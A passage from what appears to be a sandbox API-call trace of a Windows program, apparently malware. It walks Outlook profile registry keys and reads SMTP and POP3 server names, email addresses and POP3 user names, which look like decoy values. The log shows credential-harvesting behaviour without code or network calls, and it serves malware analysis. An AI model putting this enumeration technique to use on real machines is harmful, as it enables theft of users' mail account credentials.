lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.978] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0056.978] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.978] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0056.978] lstrlenA (lpString="") returned 0 [0056.978] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.978] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0056.979] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0056.979] LocalFree (hMem=0x2fc080) returned 0x0 [0056.979] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.979] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000001", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.979] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0056.979] lstrlenA (lpString="\\") returned 1 [0056.979] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2fc080 [0056.979] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0056.979] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0056.979] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 89 [0056.979] lstrlenA (lpString="00000001") returned 8 [0056.979] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x2e7ba0 [0056.979] lstrcpyA (in: lpString1=0x2e7ba0, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0056.979] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000001" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001" [0056.979] LocalFree (hMem=0x2fc080) returned 0x0 [0056.979] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x1, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000002", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.979] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0056.979] lstrlenA (lpString="\\") returned 1 [0056.979] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2fc080 [0056.980] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0056.980] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0056.980] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 89 [0056.980] lstrlenA (lpString="00000002") returned 8 [0056.980] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x2e7ba0 [0056.980] lstrcpyA (in: lpString1=0x2e7ba0, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0056.980] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000002" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002" [0056.980] LocalFree (hMem=0x2fc080) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea88) returned 0x0 [0056.980] lstrlenA (lpString="SMTP Server") returned 11 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea74) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0xbc0e0d4) returned 0x0 [0056.980] lstrlenA (lpString="dgerg") returned 5 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea70) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2da3f8) returned 0x0 [0056.980] LocalFree (hMem=0x2da3f8) returned 0x0 [0056.980] LocalFree (hMem=0x2da360) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea88) returned 0x0 [0056.980] lstrlenA (lpString="POP3 Server") returned 11 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea74) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0xbc0e0e0) returned 0x0 [0056.980] lstrlenA (lpString="rherh") returned 5 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea70) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2da3f8) returned 0x0 [0056.980] LocalFree (hMem=0x2da3f8) returned 0x0 [0056.980] LocalFree (hMem=0x2da360) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea88) returned 0x0 [0056.980] lstrlenA (lpString="Email") returned 5 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea74) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0xbc0e158) returned 0x0 [0056.980] lstrlenA (lpString="cjvue@idhe.com") returned 14 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea70) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2ff9b0) returned 0x0 [0056.980] LocalFree (hMem=0x2ff9b0) returned 0x0 [0056.980] LocalFree (hMem=0x2fee88) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea88) returned 0x0 [0056.980] lstrlenA (lpString="POP3 User") returned 9 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea74) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0xbc0e17c) returned 0x0 [0056.980] lstrlenA (lpString="cjvue") returned 5 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21ea70) returned 0x0 [0056.980] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2da3f8) returned 0x0 [0056.980] LocalFree (hMem=0x2da3f8) returned 0x0 [0056.980] LocalFree (hMem=0x2da360) returned 0x0 [0056.981] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21eb08) returned 0x0 [0056.981] LocalFree (hMem=0x2e7ba0) returned 0x0 [0056.981] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x2, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.981] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0056.981] lstrlenA (lpString="\\") returned 1 [0056.981] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2fc080 [0056.981] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0056.981] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0056.981] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 89 [0056.981] lstrlenA (lpString="00000003") returned 8 [0056.981] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x2e7ba0 [0056.981] lstrcpyA (in: lpString1=0x2e7ba0, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0056.981] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000003" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003" [0056.981] LocalFree (hMem=0x2fc080) returned 0x0 [0056.981] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x3, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.981] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.982] LocalFree (hMem=0x2fc320) returned 0x0 [0056.982] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0xa, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="a1d7e55f7cf9a243ba916d5f08f9bae8", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.982] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.982] lstrlenA (lpString="\\") returned 1 [0056.982] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.982] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.982] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.982] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.982] lstrlenA (lpString="a1d7e55f7cf9a243ba916d5f08f9bae8") returned 32 [0056.982] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.982] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.982] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="a1d7e55f7cf9a243ba916d5f08f9bae8" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" [0056.982] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.982] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned 88 [0056.982] lstrlenA (lpString="") returned 0 [0056.982] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.982] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" [0056.982] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" [0056.982] LocalFree (hMem=0x2fc080) returned 0x0 [0056.982] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.982] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.982] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.982] LocalFree (hMem=0x2fc320) returned 0x0 [0056.982] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0xb, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="a44233f8b7f7d346b14b6c8d0728d9dd", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.982] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.982] lstrlenA (lpString="\\") returned 1 [0056.982] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.982] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.982] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.982] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.982] lstrlenA (lpString="a44233f8b7f7d346b14b6c8d0728d9dd") returned 32 [0056.982] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.982] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.982] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="a44233f8b7f7d346b14b6c8d0728d9dd" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" [0056.982] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.982] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned 88 [0056.982] lstrlenA (lpString="") returned 0 [0056.982] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.982] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" [0056.982] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" [0056.982] LocalFree (hMem=0x2fc080) returned 0x0 [0056.982] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.982] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.982] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.982] LocalFree (hMem=0x2fc320) returned 0x0 [0056.982] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0xc, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ddb0922fc50b8d42be5a821ede840761", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.983] lstrlenA (lpString="\\") returned 1 [0056.983] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.983] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.983] lstrlenA (lpString="ddb0922fc50b8d42be5a821ede840761") returned 32 [0056.983] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.983] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="ddb0922fc50b8d42be5a821ede840761" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0056.983] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned 88 [0056.983] lstrlenA (lpString="") returned 0 [0056.983] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.983] lstrcpyA (in: lpString1=0x2fc320, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0056.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0056.983] LocalFree (hMem=0x2fc080) returned 0x0 [0056.983] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", phkResult=0x21eb4c | out: phkResult=0x21eb4c*=0x1ec) returned 0x0 [0056.983] RegEnumKeyExA (in: hKey=0x1ec, dwIndex=0x0, lpName=0x21eb54, lpcchName=0x21eb48, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x21eb48, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.983] RegCloseKey (hKey=0x1ec) returned 0x0 [0056.983] LocalFree (hMem=0x2fc320) returned 0x0 [0056.983] RegEnumKeyExA (in: hKey=0x1e8, dwIndex=0xd, lpName=0x21f3a0, lpcchName=0x21f394, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ee39677bbdea5143a837a52d64001c8f", lpcchName=0x21f394, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0056.983] lstrlenA (lpString="\\") returned 1 [0056.983] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x2d14a8 [0056.983] lstrcpyA (in: lpString1=0x2d14a8, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0056.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0056.983] lstrlenA (lpString="ee39677bbdea5143a837a52d64001c8f") returned 32 [0056.983] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc080 [0056.983] lstrcpyA (in: lpString1=0x2fc080, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0056.983] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="ee39677bbdea5143a837a52d64001c8f" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f" [0056.983] LocalFree (hMem=0x2d14a8) returned 0x0 [0056.983] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\ee39677bbdea5143a837a52d64001c8f") returned 88 [0056.983] lstrlenA (lpString="") returned 0 [0056.983] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x2fc320 [0056.983] lstrcpyA (in: lpString1=0x2fc320, 